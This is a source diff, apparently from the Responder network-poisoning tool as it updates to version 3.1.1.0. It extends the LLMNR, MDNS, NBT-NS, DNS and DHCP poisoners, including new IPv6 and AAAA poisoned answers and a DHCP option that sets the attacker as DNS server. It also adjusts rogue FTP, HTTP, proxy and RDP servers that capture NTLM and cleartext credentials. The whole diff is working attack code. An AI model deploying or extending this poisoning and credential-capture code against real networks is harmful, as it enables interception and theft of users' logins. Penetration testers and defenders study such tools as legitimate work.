@@ -79,12 +80,12 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
|
||||
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
||||
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
||||
Interface = settings.Config.Interface
|
||||
Responder_IP = FindLocalIP(Interface, None)
|
||||
Responder_IP = RespondWithIP()
|
||||
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
|
||||
NETMASK = "255.255.255.0"
|
||||
DNSIP = "0.0.0.0"
|
||||
DNSIP2 = "0.0.0.0"
|
||||
DNSNAME = "lan"
|
||||
DNSNAME = "local"
|
||||
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
|
||||
Respond_To_Requests = True
|
||||
DHCPClient = []
|
||||
@@ -197,22 +198,28 @@ class DHCPACK(Packet):
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252", ""),
|
||||
("Op252Len", ""),
|
||||
("Op252Str", ""), #Wpad Server
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
def calculate(self, DHCP_DNS):
|
||||
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
if DHCP_DNS:
|
||||
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
else:
|
||||
self.fields["Op252"] = "\xfc"
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
|
||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
@@ -236,7 +243,7 @@ def FindIP(data):
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4]).encode('latin-1')
|
||||
|
||||
def ParseDHCPCode(data, ClientIP):
|
||||
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
||||
global DHCPClient
|
||||
global ROUTERIP
|
||||
PTid = data[4:8]
|
||||
@@ -262,7 +269,7 @@ def ParseDHCPCode(data, ClientIP):
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
@@ -273,6 +280,26 @@ def ParseDHCPCode(data, ClientIP):
|
||||
'RequestedIP': IPConv,
|
||||
})
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||
|
||||
# DHCP Inform
|
||||
elif OpCode == b"\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
DHCPClient.append(MacAddrStr)
|
||||
SaveDHCPToDb({
|
||||
'MAC': MacAddrStr,
|
||||
'IP': CurrentIP,
|
||||
'RequestedIP': RequestedIP,
|
||||
})
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
|
||||
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
@@ -281,7 +308,7 @@ def ParseDHCPCode(data, ClientIP):
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
@@ -308,7 +335,7 @@ def SendDHCP(packet,Host):
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||
|
||||
def DHCP():
|
||||
def DHCP(DHCP_DNS):
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
SendDiscover()
|
||||
@@ -318,6 +345,6 @@ def DHCP():
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
ClientIP = socket.inet_ntoa(data[0][26:30])
|
||||
ret = ParseDHCPCode(data[0][42:], ClientIP)
|
||||
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
|
||||
if ret:
|
||||
print(text("[*] [DHCP] %s" % ret))
|
||||
|
||||
36
poisoners/LLMNR.py
Normal file → Executable file
36
poisoners/LLMNR.py
Normal file → Executable file
@@ -14,9 +14,7 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import fingerprint
|
||||
from packets import LLMNR_Ans
|
||||
from packets import LLMNR_Ans, LLMNR6_Ans
|
||||
from utils import *
|
||||
|
||||
if (sys.version_info > (3, 0)):
|
||||
@@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
|
||||
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
import codecs
|
||||
NameLen = data[12]
|
||||
@@ -60,14 +55,13 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
try:
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||
LLMNRType = Parse_IPV6_Addr(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
return None
|
||||
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
|
||||
#IPv4
|
||||
if data[2:4] == b'\x00\x00' and LLMNRType:
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
@@ -77,7 +71,8 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
|
||||
elif LLMNRType == True: # Poisoning Mode
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
@@ -89,8 +84,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
if Finger is not None:
|
||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||
|
||||
elif LLMNRType == 'IPv6':
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR6',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
except:
|
||||
raise
|
||||
|
||||
60
poisoners/MDNS.py
Normal file → Executable file
60
poisoners/MDNS.py
Normal file → Executable file
@@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MDNS_Ans
|
||||
from packets import MDNS_Ans, MDNS6_Ans
|
||||
from utils import *
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
@@ -51,37 +51,45 @@ def Poisoned_MDNS_Name(data):
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
def handle(self):
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
|
||||
data, soc = self.request
|
||||
Request_Name = Parse_MDNS_Name(data)
|
||||
|
||||
MDNSType = Parse_IPV6_Addr(data)
|
||||
# Break out if we don't want to respond to this host
|
||||
|
||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
||||
return None
|
||||
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
elif MDNSType == True: # Poisoning Mode
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
||||
Buffer.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
|
||||
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
elif MDNSType == 'IPv6': # Poisoning Mode
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS6',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
23
poisoners/NBTNS.py
Normal file → Executable file
23
poisoners/NBTNS.py
Normal file → Executable file
@@ -14,7 +14,6 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import fingerprint
|
||||
import sys
|
||||
from packets import NBT_Ans
|
||||
from utils import *
|
||||
@@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)):
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# Define what are we answering to.
|
||||
def Validate_NBT_NS(data):
|
||||
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
|
||||
if settings.Config.AnalyzeMode:
|
||||
return False
|
||||
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
|
||||
return True
|
||||
elif settings.Config.NBTNSDomain:
|
||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
|
||||
return True
|
||||
elif settings.Config.Wredirect:
|
||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
|
||||
return True
|
||||
return False
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NBTNS(BaseRequestHandler):
|
||||
|
||||
@@ -51,10 +35,6 @@ class NBTNS(BaseRequestHandler):
|
||||
return None
|
||||
|
||||
if data[2:4] == b'\x01\x10':
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
@@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler):
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
if Finger is not None:
|
||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||
|
||||
28
servers/DNS.py
Normal file → Executable file
28
servers/DNS.py
Normal file → Executable file
@@ -15,7 +15,7 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from packets import DNS_Ans, DNS_SRV_Ans
|
||||
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
@@ -28,6 +28,8 @@ def ParseDNSType(data):
|
||||
return "A"
|
||||
if QueryTypeClass == "\x00\x21\x00\x01":
|
||||
return "SRV"
|
||||
if QueryTypeClass == "\x00\x1c\x00\x01":
|
||||
return "IPv6"
|
||||
|
||||
|
||||
|
||||
@@ -39,21 +41,29 @@ class DNS(BaseRequestHandler):
|
||||
|
||||
try:
|
||||
data, soc = self.request
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
pass
|
||||
|
||||
# DNS Server TCP Class
|
||||
@@ -65,19 +75,27 @@ class DNSTCP(BaseRequestHandler):
|
||||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
pass
|
||||
|
||||
3
servers/FTP.py
Normal file → Executable file
3
servers/FTP.py
Normal file → Executable file
@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
|
||||
|
||||
if data[0:4] == b'PASS':
|
||||
Pass = data[5:].strip().decode("latin-1")
|
||||
|
||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'FTP',
|
||||
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
pass
|
||||
|
||||
17
servers/HTTP.py
Normal file → Executable file
17
servers/HTTP.py
Normal file → Executable file
@@ -86,16 +86,6 @@ def GrabCookie(data, host):
|
||||
return Cookie
|
||||
return False
|
||||
|
||||
def GrabHost(data, host):
|
||||
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] Host : %s " % color(Host, 3)))
|
||||
return Host
|
||||
return False
|
||||
|
||||
def GrabReferer(data, host):
|
||||
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
||||
|
||||
@@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge):
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == b'\x01':
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
@@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge):
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
SaveToDb({
|
||||
@@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler):
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
9
servers/HTTP_Proxy.py
Normal file → Executable file
9
servers/HTTP_Proxy.py
Normal file → Executable file
@@ -207,7 +207,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
rbufsize = 0
|
||||
|
||||
def handle(self):
|
||||
(ip, port) = self.client_address
|
||||
(ip, port) = self.client_address[0], self.client_address[1]
|
||||
if settings.Config.Verbose:
|
||||
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
|
||||
self.__base_handle()
|
||||
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
|
||||
try:
|
||||
if self._connect_to(self.path, soc):
|
||||
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
|
||||
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
|
||||
self.wfile.write("\r\n")
|
||||
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
|
||||
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
|
||||
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
|
||||
try:
|
||||
self._read_write(soc, 300)
|
||||
except:
|
||||
pass
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
||||
finally:
|
||||
|
||||
0
servers/MSSQL.py
Normal file → Executable file
0
servers/MSSQL.py
Normal file → Executable file
2
servers/RDP.py
Normal file → Executable file
2
servers/RDP.py
Normal file → Executable file
@@ -105,7 +105,7 @@ class RDP(BaseRequestHandler):
|
||||
h.calculate()
|
||||
buffer1 = str(h)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True)
|
||||
SSLsock.settimeout(30)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||
|
||||
43
settings.py
43
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.0.8.0'
|
||||
__version__ = 'Responder 3.1.1.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -83,7 +83,7 @@ class Settings:
|
||||
# Config parsing
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||
|
||||
|
||||
# Servers
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
@@ -119,10 +119,8 @@ class Settings:
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.NOESS_On_Off = options.NOESS_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.DHCP_On_Off = options.DHCP_On_Off
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
@@ -131,21 +129,43 @@ class Settings:
|
||||
self.Verbose = options.Verbose
|
||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
if self.ExternalIP:
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
|
||||
self.DHCP_DNS = options.DHCP_DNS
|
||||
self.ExternalIP6 = options.ExternalIP6
|
||||
|
||||
if self.Interface == "ALL":
|
||||
self.Bind_To_ALL = True
|
||||
else:
|
||||
self.Bind_To_ALL = False
|
||||
|
||||
#IPV4
|
||||
if self.Interface == "ALL":
|
||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||
else:
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
#IPV6
|
||||
if self.Interface == "ALL":
|
||||
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
|
||||
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
|
||||
else:
|
||||
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
|
||||
|
||||
#External IP
|
||||
if self.ExternalIP:
|
||||
if utils.IsIPv6IP(self.ExternalIP):
|
||||
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
|
||||
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
self.ExternalResponderIP = utils.RespondWithIP()
|
||||
else:
|
||||
self.ExternalResponderIP = self.Bind_To
|
||||
|
||||
#External IPv6
|
||||
if self.ExternalIP6:
|
||||
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
|
||||
self.ExternalResponderIP6 = utils.RespondWithIP6()
|
||||
else:
|
||||
self.ExternalResponderIP6 = self.Bind_To6
|
||||
|
||||
self.Os_version = sys.platform
|
||||
|
||||
@@ -204,6 +224,7 @@ class Settings:
|
||||
|
||||
#Generate Random stuff for one Responder session
|
||||
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
||||
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
|
||||
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
|
||||
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
|
||||
self.DomainName = self.Domain + '.LOCAL'
|
||||
@@ -282,7 +303,7 @@ class Settings:
|
||||
RoutingInfo = "Error fetching Routing information:", ex
|
||||
pass
|
||||
|
||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||
try:
|
||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||
|
||||
@@ -26,7 +26,7 @@ from odict import OrderedDict
|
||||
